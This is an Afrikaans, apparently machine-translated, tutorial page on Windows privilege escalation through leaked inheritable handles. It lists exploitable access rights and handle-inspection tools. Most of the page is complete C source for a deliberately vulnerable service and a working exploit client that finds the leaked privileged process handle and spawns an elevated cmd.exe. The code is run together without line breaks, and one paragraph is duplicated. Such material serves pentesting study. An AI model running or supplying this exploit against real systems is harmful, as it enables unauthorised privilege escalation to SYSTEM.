Hanteer in 'n proses laat toe om toegang te verkry tot verskillende Windows hulpbronne:
RootedCON2022 - Exploiting Leaked Handles for LPE
Daar was reeds verskeie privilege escalation gevalle waar 'n privileged process met oop en oorerflike hanteer 'n unprivileged process laat loop wat dit toegang tot al daardie hanteer gegee het.
Byvoorbeeld, stel jou voor dat 'n proses wat as SYSTEM loop 'n nuwe proses open (OpenProcess()) met volledige toegang. Dieselfde proses skep ook 'n nuwe proses (CreateProcess()) met lae voorregte maar wat al die oop hanteer van die hoof proses oorerf.
As jy dan volledige toegang tot die lae voorregte proses het, kan jy die oop hanteer na die voorregte proses wat geskep is met OpenProcess()gryp en 'n shellcode inspuit.
Interessante Hanteer
Proses
Soos jy in die aanvanklike voorbeeld gelees het, as 'n unprivileged process 'n proses hanteer van 'n privileged process met genoeg toestemmings oorerf, sal dit in staat wees om arbitraire kode daarop uit te voer.
In hierdie uitstekende artikel kan jy sien hoe om enige proses hanteer wat enige van die volgende toestemmings het, te exploiteer:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Draad
Soos met die proses hanteer, as 'n unprivileged process 'n draad hanteer van 'n privileged process met genoeg toestemmings oorerf, sal dit in staat wees om arbitraire kode daarop uit te voer.
In hierdie uitstekende artikel kan jy ook sien hoe om enige proses hanteer wat enige van die volgende toestemmings het, te exploiteer:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Lêer, Sleutel & Afdeling Hanteer
As 'n unprivileged process 'nhanteer met skryf gelyke toestemmings oor 'n privileged lêer of register oorerf, sal dit in staat wees om die lêer/register te oorskryf (en met baie geluk, privileges te eskaleer).
Afdeling Hanteer is soortgelyk aan lêer hanteer, die algemene naam van hierdie soort objekte is "File Mapping". Hulle word gebruik om met groot lêers te werk sonder om die hele lêer in geheue te hou. Dit maak die eksploitering soort van "soortgelyk" aan die eksploitering van 'n Lêer Hanteer.
Hoe om hanteer van prosesse te sien
Proses Hacker
Process Hacker is 'n hulpmiddel wat jy gratis kan aflaai. Dit het verskeie wonderlike opsies om prosesse te inspekteer en een daarvan is die vermoë om die hanteer van elke proses te sien.
Let daarop dat om alle hanteer van al die prosesse te sien, die SeDebugPrivilege benodig word (so jy moet Process Hacker as administrateur uitvoer).
Om die hanteer van 'n proses te sien, regsklik op die proses en kies Hanteer:
Jy kan dan regsklik op die hanteer en die toestemmings nagaan:
Sysinternals Hanteer
Die Hanteerbinêre van Sysinternals sal ook die hanteer per proses in die konsole lys:
LeakedHandlesFinder
Hierdie hulpmiddel laat jou toe om gelektehanteer te moniteer en selfs outomaties te eksploit om voorregte te eskaleer.
Metodologie
Nou dat jy weet hoe om hanteer van prosesse te vind, wat jy moet nagaan is of enige unprivileged process toegang tot voorregte hanteer het. In daardie geval kan die gebruiker van die proses in staat wees om die hanteer te verkry en dit te misbruik om voorregte te eskaleer.
Dit is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang tot al die hanteer te verkry. Maar 'n gebruiker kan steeds toegang tot die hanteer van sy prosesse verkry, so dit mag nuttig wees as jy net van daardie gebruiker wil privesc om die hulpmiddels met die gebruiker se gereelde toestemmings uit te voer.
Byvoorbeeld, die volgende kode behoort aan 'n Windows diens wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre is geleë binne die Exploit funksie. Hierdie funksie begin 'n nuwe handvatsel proses met volle toegang te skep. Dan, dit skep 'n laaggegradeerde proses (deur die laaggegradeerde token van explorer.exe te kopieer) wat C:\users\username\desktop\client.exe uitvoer. Die kwesbaarheid lê in die feit dat dit die laaggegradeerde proses met bInheritHandles as TRUE skep.
Daarom is hierdie laaggegradeerde proses in staat om die handvatsel van die hooggegradeerde proses wat eerste geskep is, te gryp en 'n shellcode in te spuit en uit te voer (sien volgende afdeling).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Voorbeeld 1
In 'n werklike scenario sal jy waarskynlik nie die binaire kan beheer wat deur die kwesbare kode uitgevoer gaan word (C:\users\username\desktop\client.exe in hierdie geval). Waarskynlik sal jy 'n proses kompromitteer en jy sal moet kyk of jy toegang kan kry tot enige kwesbare handvatsel van enige bevoorregte proses.
In hierdie voorbeeld kan jy die kode van 'n moontlike exploit vir C:\users\username\desktop\client.exe vind.
Die mees interessante deel van hierdie kode is geleë in GetVulnProcHandle. Hierdie funksie sal begin om al die handvatsels te verkry, dan sal dit kyk of enige van hulle aan dieselfde PID behoort en of die handvatsel aan 'n proses behoort. As al hierdie vereistes nagekom word (as 'n toeganklike oop proses handvatsel gevind word), probeer dit om 'n shellcode in te spuit en uit te voer deur die handvatsel van die proses te misbruik.
Die inspuiting van die shellcode word binne die Inject funksie gedoen en dit sal net die shellcode binne die bevoorregte proses skryf en 'n draad binne dieselfde proses skep om die shellcode uit te voer).
In 'n werklike scenario sal jy waarskynlik nie die binêre kan beheer wat deur die kwesbare kode uitgevoer gaan word (C:\users\username\desktop\client.exe in hierdie geval). Waarskynlik sal jy 'n proses kompromitteer en jy sal moet kyk of jy toegang kan kry tot enige kwesbare handvatsel van enige bevoorregte proses.
In hierdie voorbeeld, in plaas daarvan om die oop handvatsel te misbruik om en 'n shellcode uit te voer, gaan dit die token van die bevoorregte oop handvatsel proses gebruik om 'n nuwe een te skep. Dit word gedoen in lyne van 138 tot 148.
Let op hoe die funksie UpdateProcThreadAttribute gebruik word met die attribuut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS en die handvatsel na die oop bevoorregte proses. Dit beteken dat die gecreëerde prosesdraad wat _cmd.exe_** uitvoer, die dieselfde tokenprivilege as die oop handvatsel proses** sal hê.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Hierdie gereedskap laat jou toe om gelekte handvatsels te monitor om kwesbare te vind en selfs outomaties te benut. Dit het ook 'n gereedskap om een te lek.